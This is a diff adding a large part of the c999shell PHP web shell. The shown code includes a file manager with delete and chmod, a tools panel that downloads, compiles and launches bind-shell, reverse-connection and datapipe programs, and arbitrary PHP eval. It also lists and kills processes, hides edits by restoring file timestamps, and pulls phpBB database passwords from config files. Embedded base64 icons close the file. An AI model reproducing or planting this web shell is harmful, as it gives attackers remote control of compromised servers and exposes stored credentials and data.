+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = " ".$checkbox;}
+ else {$row[] = " ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+if ($act == "tools")
+{
+ $bndportsrcs = array(
+ "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"),
+ "c999sh_bindport.c"=>array("Using C","%path %port %pass")
+ );
+ $bcsrcs = array(
+ "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+ "c999sh_backconn.c"=>array("Using C","%path %host %port")
+ );
+ $dpsrcs = array(
+ "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+ "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+ );
+ if (!is_array($bind)) {$bind = array();}
+ if (!is_array($bc)) {$bc = array();}
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+ if (!empty($bindsubmit))
+ {
+ echo "Result of binding port: ";
+ $v = $bndportsrcs[$bind["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $w = explode(".",$bind["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%port",$bind["port"],$v[1]);
+ $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
+ else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process ";}
+ }
+ echo " ";
+ }
+ }
+ if (!empty($bcsubmit))
+ {
+ echo "Result of back connection: ";
+ $v = $bcsrcs[$bc["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ else
+ {
+ $w = explode(".",$bc["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%host",$bc["host"],$v[1]);
+ $v[1] = str_replace("%port",$bc["port"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
+ }
+ }
+ }
+ if (!empty($dpsubmit))
+ {
+ echo "Result of datapipe-running: ";
+ $v = $dpsrcs[$datapipe["src"]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $srcpath = $tmpdir.$datapipe["src"];
+ $w = explode(".",$datapipe["src"]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $srcpath = join(".",$w).".".rand(0,999).".".$ext;
+ $binpath = $tmpdir.join(".",$w).rand(0,999);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";}
+ else
+ {
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
+ $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
+ $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5);
+ $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
+ else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process ";}
+ }
+ echo " ";
+ }
+ }
+ ?>Binding port: Port: "> Password: "> $v) {echo "".$v[0]." ";}
+ ?>
+Back connection: HOST: "> Port: "> $v) {echo "".$v[0]." ";}
+?>
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!
+Datapipe: HOST: "> Local port: "> $v) {echo "".$v[0]." ";}
+?> Note: sources will be downloaded from remote server.Processes: ";
+ if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = " ";}
+ else {$y = " ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array(" ","info"),
+ array(" ","html"),
+ array(" ","txt"),
+ array("Code","code"),
+ array("Session","phpsess"),
+ array(" ","exe"),
+ array("SDB","sdb"),
+ array(" ","img"),
+ array(" ","ini"),
+ array(" ","download"),
+ array(" ","notepad"),
+ array(" ","edit")
+ );
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c999shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c999shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ $images = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+"back"=>
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+"Wg0JADs=",
+"buffer"=>
+"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
+"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
+"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
+"change"=>
+"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
+"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
+"zMshADs=",
+"delete"=>
+"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
+"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
+"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
+"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
+"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
+"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
+"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
+"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
+"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
+"download"=>
+"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
+"forward"=>
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+"WqsJADs=",
+"home"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+"mode"=>
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+"refresh"=>
+"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
+"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
+"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
+"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
+"search"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
+"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
+"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
+"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
+"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
+"setup"=>
+"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
+"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
+"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
+"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
+"small_dir"=>
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+"small_unk"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
+"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
+"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
+"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
+"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
+"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
+"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
